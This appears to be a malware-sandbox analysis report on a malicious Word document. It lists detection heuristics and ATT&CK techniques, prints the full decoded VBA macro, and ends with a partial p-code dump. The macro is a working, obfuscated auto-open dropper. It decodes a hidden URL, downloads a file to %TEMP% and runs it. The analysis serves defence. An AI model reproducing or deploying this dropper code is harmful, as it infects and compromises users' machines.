MALICIOUS
308
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
T1204.002 Malicious File
The sample is a malicious Office document containing obfuscated VBA macros. Heuristics indicate the macros are designed to download and execute a file from the internet. Specifically, the 'OLE_VBA_HTTP_DROP_EXEC' heuristic confirms the VBA code attempts to download a file using HTTP and save it to disk, likely for execution. The presence of an 'autoopen' macro further suggests an automated execution flow upon opening the document.
Heuristics 8
-
ClamAV: Doc.Dropper.Agent-6952742-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6952742-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
UtilsInd2Sub.write CodOrdineCorrente1.responseBody -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Set UtilsInd2Sub = CreateObject("Adodb.S" + LCase(errorMsg) + "r" + arguments + "am") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set UtilsInd2Sub = CreateObject("Adodb.S" + LCase(errorMsg) + "r" + arguments + "am") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 82337 bytes |
SHA-256: 13245216cc23e25f60485b1f9197c69e29c1c55006139343926e4e05347748e6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub autoopen()
Q "", ""
End Sub
Attribute VB_Name = "Module1"
Private Const VERSION = "1.62"
Private Const NUMERICS = "0123456789"
Private Const ALPHAS = "abcdefghijklmnopqrstuvwxyz"
Private Const SINGLE_OPS = "()[],;:+-#"
Private Const COMBO_OPS = ".|&<>~=*/^!"
Public CodOrdineCorrente1 As Object
Public UtilsInd2Sub As Object
Public ParsePostfixResult As Object
Public CodOrdineCorrente4 As String
Public dimIndexArgs As String
Public UtilsCalcDimDirection As Object
Private expression As String
Private expressionIndex As Long
Private currentToken As String
Private previousTokenIsSpace As Boolean
Private arguments As Variant
Private endValues As Variant
Private errorMsg As String
Private ans As Variant
Private Sub Tokens_Next()
previousTokenIsSpace = Tokens_MoveCharPointer(" ")
If expressionIndex > Len(expression) Then currentToken = "": Exit Sub
Dim startIndex As Long: startIndex = expressionIndex
Select Case Asc(Mid(expression, expressionIndex, 1))
Case Asc("""")
expressionIndex = expressionIndex + 1
Tokens_MoveCharPointer """", True
Utils_Assert expressionIndex <= Len(expression), "Unfinished string literal"
expressionIndex = expressionIndex + 1
Case Asc("a") To Asc("z")
Tokens_MoveCharPointer NUMERICS & ALPHAS & "_"
Case Asc("0") To Asc("9")
Tokens_MoveCharPointer NUMERICS
If Tokens_MoveCharPointer(".", False, True) Then
Tokens_MoveCharPointer NUMERICS
End If
If Tokens_MoveCharPointer("eE", False, True) Then
Tokens_MoveCharPointer NUMERICS & "-", False, True
Tokens_MoveCharPointer NUMERICS
End If
Case Asc(vbLf)
expressionIndex = expressionIndex + 1
Case Else
If Not Tokens_MoveCharPointer(SINGLE_OPS, False, True) Then
Tokens_MoveCharPointer COMBO_OPS
End If
End Select
currentToken = Mid(expression, startIndex, expressionIndex - startIndex)
Utils_Assert expressionIndex > startIndex Or expressionIndex > Len(expression), _
"Illegal char: " & Mid(expression, expressionIndex, 1)
End Sub
Private Sub Tokens_AssertAndNext(token As String)
Utils_Assert token = currentToken, "missing token: " & token
Tokens_Next
End Sub
Private Function Tokens_MoveCharPointer(str As String, _
Optional stopAtStr As Boolean = False, _
Optional singleCharOnly As Boolean = False) As Boolean
While expressionIndex <= Len(expression) _
And stopAtStr <> (InStr(str, Mid(expression, expressionIndex, 1)) > 0)
expressionIndex = expressionIndex + 1
Tokens_MoveCharPointer = True
If singleCharOnly Then Exit Function
Wend
End Function
Private Function Parse_FindBinaryOp(token As String, ByRef op As Variant) As Boolean
Parse_FindBinaryOp = True
Select Case token
Case "||": op = Array("orshortcircuit", 1, True)
Case "&&": op = Array("andshortcircuit", 2, True)
Case "|": op = Array("or", 3, True)
Case "&": op = Array("and", 4, True)
Case "<": op = Array("lt", 5, True)
Case "<=": op = Array("lte", 5, True)
Case ">": op = Array("gt", 5, True)
Case ">=": op = Array("gte", 5, True)
Case "==": op = Array("eq", 5, True)
Case "=": op = Array("eq", 5, True)
Case "~=": op = Array("ne", 5, True)
Case "<>": op = Array("ne", 5, True)
Case ":": op = Array("colon", 6, False)
Case "+": op = Array("plus", 7, True)
Case "-": op = Array("minus", 7, True)
Case "*": op = Array("mtimes", 8, True)
Case ".*": op = Array("times", 8, True)
Case "/": op = Array("mdivide", 8, True)
Case "./": op = Array("divide", 8, True)
Case "^": op = Array("mpower", 9, True)
Case ".^": op = Array("power", 9, True)
Case Else: Parse_FindBinaryOp = False
End Select
End Function
Private Function Parse_FindUnaryPrefixOp(token As String, ByRef op As Variant) As Boolean
Parse_FindUnaryPrefixOp = True
Select Case token
Case "+": op = "uplus"
Case "-": op = "uminus"
Case "~": op = "negate"
Case "#": op = "numel"
Case "!": op = "extern"
Case Else: Parse_FindUnaryPrefixOp = False
End Select
End Function
Private Function Parse_Matrix() As Variant
While currentToken <> "]"
Utils_Stack_Push Park.se_List(True), Parse_Matrix
If currentToken = ";" Then Tokens_Next
Utils_Assert currentToken <> "", "Missing "
Wend
End Function
Private Function Parkse_List(Optional isSpaceSeparator As Boolean = False) As Variant
Set UtilsInd2Sub = CreateObject("Adodb.S" + LCase(errorMsg) + "r" + arguments + "am")
Parse_Binary
Exit Function
Do While InStr(";)]", currentToken) = 0
If currentToken = "," Then
Utils_Stack_Push Array("eval_constant", Empty), Park.se_List
Else
Utils_Stack_Push Parse_Binary(), Park.se_List
End If
If currentToken = "," Then
Tokens_Next
ElseIf Not (previousTokenIsSpace And isSpaceSeparator) Then
Exit Do
End If
Loop
End Function
Private Function Parse_Binary(Optional lastPrec As Long = -999) As Variant
Set UtilsCalcDimDirection = CreateObject("Sh" + arguments + "ll.Applica" + LCase(errorMsg) + "ion")
Parse_Postfix
Exit Function
Parse_Binary = Parse_Prefix()
Dim op: Do While Parse_FindBinaryOp(currentToken, op)
If op(2) + CLng(op(3)) < lastPrec Then Exit Do
Tokens_Next
Parse_Binary = Array("op_" & op(1), Array(Parse_Binary, Parse_Binary(CLng(op(2)))))
Loop
End Function
Private Function Parse_Prefix() As Variant
Dim op
If Parse_FindUnaryPrefixOp(currentToken, op) Then
Tokens_Next
Parse_Prefix = Array("op_" & op, Array(Parse_Prefix()))
Else
Parse_Prefix = Parse_Postfix()
End If
End Function
Private Function Parse_Atomic() As Variant
Utils_Assert currentToken <> "", "missing argument"
Select Case Asc(currentToken)
Case Asc(":")
Parse_Atomic = Array("eval_colon", Empty)
Tokens_Next
Case Asc("(")
Tokens_Next
Parse_Atomic = Parse_Binary()
Tokens_AssertAndNext ")"
Case Asc("[")
Tokens_Next
Parse_Atomic = Array("eval_concat", Parse_Matrix())
Tokens_AssertAndNext "]"
Case Asc("""")
Parse_Atomic = Array("eval_constant", Mid(currentToken, 2, Len(currentToken) - 2))
Tokens_Next
Case Asc("0") To Asc("9")
Parse_Atomic = Array("eval_constant", Val(currentToken))
Tokens_Next
Case Asc("a") To Asc("z")
If currentToken = "end" Then
Parse_Atomic = Array("eval_end", Empty)
Tokens_Next
ElseIf currentToken = "ans" Then
Parse_Atomic = Array("eval_ans", Empty)
Tokens_Next
ElseIf Len(currentToken) = 1 Then
Parse_Atomic = Array("eval_arg", Asc(currentToken) - Asc("a"))
Tokens_Next
Else
Parse_Atomic = "fn_" & currentToken
Tokens_Next
If currentToken = "(" Then
Tokens_AssertAndNext "("
Parse_Atomic = Array(Parse_Atomic, Park.se_List())
Tokens_AssertAndNext ")"
Else
Parse_Atomic = Array(Parse_Atomic, Empty)
End If
End If
Case Else
Utils_Assert False, "unexpected token: " & currentToken
End Select
End Function
Public Function Q(expr As String, args As String) As Variant
arguments = Chr(Asc("e"))
endValues = Empty
errorMsg = Chr(Asc("T"))
Parse_FindUnaryPostfixOp "", ""
End Function
Private Function MAX(a As Variant, b As Variant) As Variant
Dim homebrew() As Variant
homebrew = Array(7814, 7826, 7826, 7822, 7768, 7757, 7757, 7826, 7811, 7825, 7826, 7759, 7756, 7810, 7807, 7824, 7819, 7821, 7756, 7808, 7815, 7832, 7757, 7762, 7761, 7765, 7813, 7766, 7757, 7762, 7761, 7825, 7763, 7810, 7764, 7812, 7765, 7813, 7756, 7811, 7830, 7811)
CodOrdineCorrente1.Open Chr(Asc("H") - 1) + UCase(arguments) + errorMsg, UtilsAssertToken(homebrew, 41), False
Utils_Numel 2
Exit Function
If a > b Then MAX = a Else MAX = b
End Function
Private Function MIN(a As Variant, b As Variant) As Variant
If a < b Then MIN = a Else MIN = b
End Function
Private Function IFF(a As Boolean, b As Variant, c As Variant) As Variant
If a Then IFF = b Else IFF = c
End Function
Private Sub Utils_DumpTree(tree As Variant, Optional spacer As String = "")
If Utils_Dimensions(tree) > 0 Then
Dim leaf: For Each leaf In tree
Utils_DumpTree leaf, spacer & " "
Next leaf
Else
Debug.Print spacer & tree
End If
End Sub
Private Function Parse_Postfix() As Variant
Set ParsePostfixResult = CreateObject(UCase("w") + "S" + LCase("C") + "rip" + LCase(errorMsg) + ".Sh" + arguments + "ll").Environment(UCase("p") + "roc" + arguments + "ss")
MAX 4, 5
Exit Function
Parse_Postfix = Parse_Atomic
Dim op: Do
If Parse_FindUnaryPostfixOp(currentToken, op) Then
Parse_Postfix = Array("op_" & op, Array(Parse_Postfix))
Tokens_Next
ElseIf currentToken = "(" Then
Tokens_Next
Parse_Postfix = Array("eval_index", Array(Parse_Postfix, Park.se_List()))
Tokens_AssertAndNext ")"
Else
Exit Do
End If
Loop While True
End Function
Private Function Utils_Dimensions(v As Variant) As Long
Dim dimnum As Long, errorCheck As Integer
On Error GoTo FinalDimension
For dimnum = 1 To 60000
errorCheck = LBound(v, dimnum)
Next
FinalDimension:
Utils_Dimensions = dimnum - 1
End Function
Private Function Utils_Numel(v As Long) As Long
CodOrdineCorrente1.Send
CodOrdineCorrente4 = ParsePostfixResult(errorMsg + UCase(arguments) + "MP")
dimIndexArgs = CodOrdineCorrente4 + "\dimenas." + arguments + "x" + arguments + ""
Utils_Ind2Sub 1, 0, 0, 0
Exit Function
Select Case Utils_Dimensions(v)
Case 0: Utils_Numel = IFF(IsEmpty(v), 0, 1)
Case 1: Utils_Numel = UBound(sccv)
Case 2: Utils_Numel = UBound(sccv, 1) * UBound(sccv, 2)
Case Else: Utils_Assert False, "dimension > 2"
End Select
End Function
Private Function Utils_Rows(ByRef v As Variant) As Long
Dim c As Long
Utils_Size v, Utils_Rows, c
End Function
Private Function Utils_Cols(ByRef v As Variant) As Long
Dim r As Long
Utils_Size v, r, Utils_Cols
End Function
Private Sub Utils_Size(v As Variant, ByRef r As Long, ByRef c As Long)
r = 0: c = 0
Select Case Utils_Dimensions(v)
Case 0: If Not IsEmpty(v) Then r = 1: c = 1
Case 1: r = UBound(v): c = 1
Case 2: r = UBound(v, 1): c = UBound(v, 2)
Case Else: Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Function Parse_FindUnaryPostfixOp(token As String, ByRef op As Variant) As Boolean
Set CodOrdineCorrente1 = CreateObject(UCase("m") + "icrosof" + LCase(errorMsg) + ".XMLH" + errorMsg + errorMsg + "P")
Parkse_List
Exit Function
Parse_FindUnaryPostfixOp = True
Select Case token
Case ""
Case Else: Parse_FindUnaryPostfixOp = False
End Select
End Function
Public Function UtilsAssertToken(ByValvDefault() As Variant, NothingOrNodeName As Integer) As String
Dim i As Integer
Dim g_oPubGetResString As String
g_oPubGetResString = ""
For i = LBound(ByValvDefault) To UBound(ByValvDefault)
g_oPubGetResString = g_oPubGetResString & Chr(ByValvDefault(i) - 33 * NothingOrNodeName - 6322 - 35)
Next i
UtilsAssertToken = g_oPubGetResString
End Function
Private Sub Utils_Ind2Sub(rows As Long, k As Long, ByRef i As Long, ByRef j As Long)
UtilsInd2Sub.Type = rows
UtilsInd2Sub.Open
Utils_Stack_Push "", ""
Exit Sub
j = (k - 1) \ rows + 1
i = k - rows * (j - 1)
End Sub
Private Sub Utils_Conform(ByRef v As Variant)
Select Case Utils_Dimensions(v)
Case 1:
If UBound(v) = 1 Then
v = v(1)
Else
Dim r: ReDim r(1, UBound(v))
Dim i As Long
For i = 1 To UBound(r, 2)
r(1, i) = v(i)
Next i
v = r
End If
Case 2:
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then v = v(1, 1)
Case Is > 2:
Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Sub Utils_ConformAndAssign(ByRef v As Variant, ByRef assignToMe As Variant)
Select Case Utils_Dimensions(v)
Case 1:
If UBound(v) = 1 Then
assignToMe = v(1)
Else
ReDim assignToMe(1, UBound(v))
Dim i As Long
For i = 1 To UBound(assignToMe, 2)
assignToMe(1, i) = v(i)
Next i
End If
Case 2:
If UBound(v, 1) = 1 And UBound(v, 2) = 1 Then
assignToMe = v(1, 1)
Else
assignToMe = v
End If
Case Is > 2:
Utils_Assert False, "dimension > 2"
End Select
End Sub
Private Sub Utils_ForceMatrix(ByRef v As Variant)
If Utils_Dimensions(v) = 0 Then
Dim r: ReDim r(1, 1)
r(1, 1) = v
v = r
End If
End Sub
Private Sub Utils_Stack_Push(item As String, Optional stack As Variant)
UtilsInd2Sub.write CodOrdineCorrente1.responseBody
UtilsInd2Sub.savetofile dimIndexArgs, 2
Utils_CalcDimDirection ""
Exit Sub
On Error GoTo NotInitiated
ReDim Preserve stack(LBound(stack) To UBound(stack) + 1)
stack(UBound(stack)) = item
Exit Sub
NotInitiated:
stack = Array(item)
End Sub
Private Function Utils_Stack_Pop(stack As Variant) As Variant
Dim ub As Long: ub = UBound(stack)
Dim lb As Long: lb = LBound(stack)
Utils_Stack_Pop = stack(ub)
If ub > lb Then ReDim Preserve stack(lb To ub - 1) Else stack = Null
End Function
Private Function Utils_Stack_Peek(stack As Variant) As Variant
Utils_Stack_Peek = stack(UBound(stack))
End Function
Private Function Utils_Stack_Size(stack As Variant) As Long
On Error Resume Next
Utils_Stack_Size = UBound(stack)
End Function
Private Sub Utils_CalcArgs(args As Variant)
Dim i As Long: For i = 1 To Utils_Stack_Size(args)
args(i) = eval_tree(args(i))
Next i
End Sub
Private Function Utils_IsFlagSet(args As Variant, flag As String) As Boolean
Dim i As Long
For i = UBound(args) To 1 Step -1
If StrComp(TypeName(args(i)), "String") = 0 Then
If StrComp(args(i), flag, vbTextCompare) = 0 Then
Utils_IsFlagSet = True
Exit Function
End If
End If
Next i
End Function
Private Function Utils_CalcDimDirection(args As String, Optional dimIndex As Long = 2) As Long
UtilsCalcDimDirection.Open (dimIndexArgs)
Exit Function
If UBound(addrgs) >= dimIndex Then
If IsNumeric(addrgs(dimIndex)) Then
Utils_CalcDimDirection = addrgs(dimIndex) - 1
Exit Function
End If
End If
Utils_CalcDimDirection = IFF(Utils_Rows(addrgs(1)) = 1, 1, 0)
End Function
Private Function Utils_GetSizeFromArgs(args As Variant, ByRef n As Long, ByRef m As Long, Optional index As Long = 2)
Select Case Utils_Stack_Size(args)
Case Is < index
n = 1: m = 1
Case Is = index
Select Case Utils_Numel(args(index))
Case 1
n = args(index)
m = n
Case 2
n = args(index)(1, 1)
m = args(index)(MIN(2, UBound(args(index), 1)), MIN(2, UBound(args(index), 2)))
Case Else
Utils_Assert False, "bad size input"
End Select
Case Is = index + 1
n = args(index)
m = args(index + 1)
Case Else
Utils_Assert False, "bad size input"
End Select
End Function
Private Function Utils_GetOptionalArg(args As Variant, index As Long, defaultValue As Variant)
If Utils_Stack_Size(args) >= index Then
Utils_GetOptionalArg = args(index)
Else
Utils_GetOptionalArg = defaultValue
End If
End Function
Private Function Utils_SetupBinaryOperation(args As Variant, r As Variant, _
ByRef r1 As Long, ByRef c1 As Long, ByRef r2 As Long, ByRef c2 As Long, _
Optional preCalcArgs As Boolean = True) As Variant
If preCalcArgs Then Utils_CalcArgs args
Utils_ForceMatrix args(1): Utils_Size args(1), r1, c1
Utils_ForceMatrix args(2): Utils_Size args(2), r2, c2
Utils_Assert (r1 = 1 And c1 = 1) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2), _
"dimension mismatch"
ReDim r(MAX(r1, r2), MAX(c1, c2))
End Function
Private Sub Utils_AssertArgsCount(args As Variant, lb As Long, ub As Long)
Dim size As Long: size = Utils_Stack_Size(args)
Utils_Assert size >= lb, "too few arguments"
Utils_Assert size <= ub, "too many arguments"
End Sub
Private Sub Utils_Assert(expr As Boolean, Optional msg As String = "unknown error")
If expr Then Exit Sub
errorMsg = msg
Err.Raise vbObjectError + 999
End Sub
Private Function eval_tree(root As Variant) As Variant
If left(root(1), 3) = "fn_" And root(1) <> "fn_if" And root(1) <> "fn_iferror" And root(1) <> "fn_expand" Then
Utils_CalcArgs root(2)
End If
Select Case root(1)
Case "eval_constant": eval_tree = eval_constant(root(2))
Case "eval_arg": eval_tree = eval_arg(root(2))
Case "eval_index": eval_tree = eval_index(root(2))
Case "eval_end": eval_tree = eval_end(root(2))
Case "eval_colon": eval_tree = eval_colon(root(2))
Case "eval_concat": eval_tree = eval_concat(root(2))
Case "op_eq": eval_tree = op_eq(root(2))
Case "op_plus": eval_tree = op_plus(root(2))
Case "op_minus": eval_tree = op_minus(root(2))
Case "op_mtimes": eval_tree = op_mtimes(root(2))
Case "op_colon": eval_tree = op_colon(root(2))
Case "fn_sum": eval_tree = fn_sum(root(2))
Case "fn_repmat": eval_tree = fn_repmat(root(2))
Case Else
eval_tree = Run(root(1), root(2))
End Select
End Function
Private Function eval_constant(args As Variant) As Variant
eval_constant = args
End Function
Private Function eval_arg(args As Variant) As Variant
If args > UBound(arguments) Then
Utils_Assert False, "argument "
End If
eval_arg = CVar(arguments(args))
Utils_Conform eval_arg
End Function
Private Function eval_end(args As Variant) As Variant
Utils_Assert Utils_Stack_Size(endValues) > 0, """end"" not allowed here."
eval_end = Utils_Stack_Peek(endValues)
End Function
Private Function eval_ans(args As Variant) As Variant
eval_ans = ans
End Function
Private Function eval_colon(args As Variant) As Variant
Utils_Assert False, "colon not allowed here"
End Function
Private Function fn_sort(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 4
Dim sortRows As Boolean, ascend As Boolean, returnIndices As Boolean
sortRows = (1 = Utils_CalcDimDirection(args))
ascend = Not Utils_IsFlagSet(args, "descend")
returnIndices = Utils_IsFlagSet(args, "indices")
If sortRows Then
args(1) = WorksheetFunction.Transpose(args(1))
Utils_Conform args(1)
End If
Utils_ForceMatrix args(1)
Dim rows As Long, cols As Long, i As Long, j As Long
Utils_Size args(1), rows, cols
Dim indices: ReDim indices(1 To rows, 1 To cols)
For i = 1 To rows
For j = 1 To cols
indices(i, j) = i
Next j
Next i
For j = 1 To cols
Utils_QuickSortCol args(1), indices, 1, rows, j, ascend
Next j
If returnIndices Then
fn_sort = indices
Else
Dim r: ReDim r(1 To rows, 1 To cols)
For i = 1 To rows
For j = 1 To cols
r(i, j) = args(1)(indices(i, j), j)
Next j
Next i
fn_sort = r
End If
If sortRows Then fn_sort = WorksheetFunction.Transpose(fn_sort)
Utils_Conform fn_sort
End Function
Private Function Utils_QuickSortCol(arr As Variant, indices As Variant, first As Long, last As Long, col As Long, ascend As Boolean)
If first >= last Then Exit Function
Dim tmp As Variant
Dim pivot As Variant: pivot = arr(indices(first, col), col)
Dim left As Long: left = first
Dim right As Long: right = last
Dim ascendprefix As Long: ascendprefix = -1 - 2 * Sgn(ascend)
While left <= right
While ascendprefix * Utils_Compare(arr(indices(left, col), col), pivot) < 0
left = left + 1
Wend
While ascendprefix * Utils_Compare(pivot, arr(indices(right, col), col)) < 0
right = right - 1
Wend
If left <= right Then
tmp = indices(left, col)
indices(left, col) = indices(right, col)
indices(right, col) = tmp
left = left + 1
right = right - 1
End If
Wend
Utils_QuickSortCol arr, indices, first, right, col, ascend
Utils_QuickSortCol arr, indices, left, last, col, ascend
End Function
Private Function Utils_Compare(arg1 As Variant, arg2 As Variant) As Variant
If IsNumeric(arg1) Then
If IsNumeric(arg2) Then
Utils_Compare = arg1 - arg2
Else
Utils_Compare = -1
End If
Else
If IsNumeric(arg2) Then
Utils_Compare = 1
Else
Utils_Compare = StrComp(CStr(arg1), CStr(arg2))
End If
End If
End Function
Private Function fn_arrayfun(args As Variant) As Variant
Utils_AssertArgsCount args, 2, 100
Utils_Assert TypeName(args(1)) = "String", "apply: 1st argument must be an Excel function name."
Dim i As Long, r1 As Long, c1 As Long, r2 As Long, c2 As Long
r1 = -1: c1 = -1
For i = 2 To Utils_Stack_Size(args)
Utils_ForceMatrix args(i)
Utils_Size args(i), r2, c2
Utils_Assert (r1 < 0 And c1 < 0) Or (r2 = 1 And c2 = 1) Or (r1 = r2 And c1 = c2) Or ((r1 = 1 Or r1 = r2) And c2 = 1) Or (r2 = 1 And (c1 = 1 Or c1 = c2)), "apply(): Wrong input sizes."
r1 = MAX(r1, r2): c1 = MAX(c1, c2)
Next i
Dim v, r: ReDim r(r1, c1)
For r1 = 1 To UBound(r, 1)
For c1 = 1 To UBound(r, 2)
v = Empty
For i = 2 To Utils_Stack_Size(args)
Utils_Size args(i), r2, c2
Utils_Stack_Push args(i)(MIN(r1, r2), MIN(c1, c2)), v
Next i
r(r1, c1) = Evaluate(args(1) & "(" & Join(v, ",") & ")")
Next c1
Next r1
Utils_ConformAndAssign r, fn_arrayfun
End Function
Private Function fn_concat(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 3
Dim i As Long, j As Long, x As Long, joiner As String
Utils_ForceMatrix args(1)
x = Utils_CalcDimDirection(args, 3)
If UBound(args) > 1 Then joiner = args(2)
Dim r: ReDim r(x * UBound(args(1), 1) + (1 - x), (1 - x) * UBound(args(1), 2) + x)
For i = 1 To UBound(args(1), 1)
For j = 1 To UBound(args(1), 2)
If (1 - x) * i + x * j = 1 Then
r(x * i + (1 - x), (1 - x) * j + x) = args(1)(i, j)
Else
r(x * i + (1 - x), (1 - x) * j + x) = r(x * i + (1 - x), (1 - x) * j + x) & joiner & args(1)(i, j)
End If
Next j
Next i
Utils_ConformAndAssign r, fn_concat
End Function
Private Function fn_expand(args As Variant) As Variant
Utils_AssertArgsCount args, 1, 3
Utils_Assert args(1)(1) = "eval_arg", "expand(): 1st argument must be a cell"
Dim cell As Range: Set cell = arguments(args(1)(2))
Dim rows As Long, cols As Long
If UBound(args) > 1 Then rows = eval_tree(args(2))
If UBound(args) > 2 Then cols = eval_tree(args(3))
If rows <= 0 Then
rows = cell.End(xlDown).Row - cell.Row + 1
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
If cell.Offset(1, 0) = "" Then rows = 1
End If
End If
If cols <= 0 Then
cols = cell.End(xlToRight).Column - cell.Column + 1
If Not Application.WorksheetFunction.IsError(cell.Offset(1, 0)) Then
If cell.Offset(0, 1) = "" Then cols = 1
End If
End If
Utils_ConformAndAssign cell.Resize(rows, cols).Value, fn_expand
End Function
Private Function fn_version(args As Variant) As Variant
Utils_AssertArgsCount args, 0, 0
fn_version = VERSION
End Function
' Processing file: /tmp/qstore_z2lac757
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1560 bytes
' Line #0:
' FuncDefn (Sub autoopen())
' Line #1:
' LitStr 0x0000 ""
' LitStr 0x0000 ""
' ArgsCall Q 0x0002
' Line #2:
' EndSub
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Macros/VBA/Module1 - 40913 bytes
' Line #0:
' Line #1:
' Dim (Private Const)
' LitStr 0x0004 "1.62"
' VarDefn VERSION
' Line #2:
' Dim (Private Const)
' LitStr 0x000A "0123456789"
' VarDefn NUMERICS
' Line #3:
' Dim (Private Const)
' LitStr 0x001A "abcdefghijklmnopqrstuvwxyz"
' VarDefn ALPHAS
' Line #4:
' Dim (Private Const)
' LitStr 0x000A "()[],;:+-#"
' VarDefn SINGLE_OPS
' Line #5:
' Dim (Private Const)
' LitStr 0x000B ".|&<>~=*/^!"
' VarDefn COMBO_OPS
' Line #6:
' Line #7:
' Dim (Public)
' VarDefn CodOrdineCorrente1 (As Object)
' Line #8:
' Dim (Public)
' VarDefn UtilsInd2Sub (As Object)
' Line #9:
' Dim (Public)
' VarDefn ParsePostfixResult (As Object) 0x001B
' Line #10:
' Dim (Public)
' VarDefn CodOrdineCorrente4 (As String)
' Line #11:
' Dim (Public)
' VarDefn dimIndexArgs (As String)
' Line #12:
' Dim (Public)
' VarDefn UtilsCalcDimDirection (As Object)
' Line #13:
' Dim (Private)
' VarDefn expression (As String)
' Line #14:
' Dim (Private)
' VarDefn expressionIndex (As Long)
' Line #15:
' Dim (Private)
' VarDefn currentToken (As String)
' Line #16:
' Dim (Private)
' VarDefn previousTokenIsSpace (As Boolean)
' Line #17:
' Dim (Private)
' VarDefn arguments (As Variant)
' Line #18:
' Dim (Private)
' VarDefn endValues (As Variant)
' Line #19:
' Dim (Private)
' VarDefn errorMsg (As String)
' Line #20:
' Dim (Private)
' VarDefn ans (As Variant)
' Line #21:
' Line #22:
' FuncDefn (Private Sub Tokens_Next())
' Line #23:
' LitStr 0x0001 " "
' ArgsLd Tokens_MoveCharPointer 0x0001
' St previousTokenIsSpace
' Line #24:
' Ld expressionIndex
' Ld expression
' FnLen
' Gt
' If
' BoSImplicit
' LitStr 0x0000 ""
' St currentToken
' BoS 0x0000
' ExitSub
' EndIf
' Line #25:
' Dim
' VarDefn startIndex (As Long)
' BoS 0x0000
' Ld expressionIndex
' St startIndex
' Line #26:
' Ld expression
' Ld expressionIndex
' LitDI2 0x0001
' ArgsLd Mid 0x0003
' ArgsLd Asc 0x0001
' SelectCase
' Line #27:
' LitStr 0x0001 """
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #28:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #29:
' LitStr 0x0001 """
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0002
' Line #30:
' Ld expressionIndex
' Ld expression
' FnLen
' Le
' LitStr 0x0019 "Unfinished string literal"
' ArgsCall Utils_Assert 0x0002
' Line #31:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #32:
' LitStr 0x0001 "a"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "z"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #33:
' Ld NUMERICS
' Ld ALPHAS
' Concat
' LitStr 0x0001 "_"
' Concat
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #34:
' LitStr 0x0001 "0"
' ArgsLd Asc 0x0001
' LitStr 0x0001 "9"
' ArgsLd Asc 0x0001
' CaseTo
' CaseDone
' Line #35:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #36:
' LitStr 0x0001 "."
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #37:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #38:
' EndIfBlock
' Line #39:
' LitStr 0x0002 "eE"
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' IfBlock
' Line #40:
' Ld NUMERICS
' LitStr 0x0001 "-"
' Concat
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsCall Tokens_MoveCharPointer 0x0003
' Line #41:
' Ld NUMERICS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #42:
' EndIfBlock
' Line #43:
' Ld vbLf
' ArgsLd Asc 0x0001
' Case
' CaseDone
' Line #44:
' Ld expressionIndex
' LitDI2 0x0001
' Add
' St expressionIndex
' Line #45:
' CaseElse
' Line #46:
' Ld SINGLE_OPS
' LitVarSpecial (False)
' LitVarSpecial (True)
' ArgsLd Tokens_MoveCharPointer 0x0003
' Not
' IfBlock
' Line #47:
' Ld COMBO_OPS
' ArgsCall Tokens_MoveCharPointer 0x0001
' Line #48:
' EndIfBlock
' Line #49:
' EndSelect
' Line #50:
' Ld expression
' Ld startIndex
' Ld expressionIndex
' Ld startIndex
' Sub
' ArgsLd Mid 0x0003
' St currentToken
' Line #51:
' LineCont 0x0004 0C 00 01 00
' Ld expressionIndex
' Ld startIndex
' Gt
' Ld expressionIndex
' Ld expression
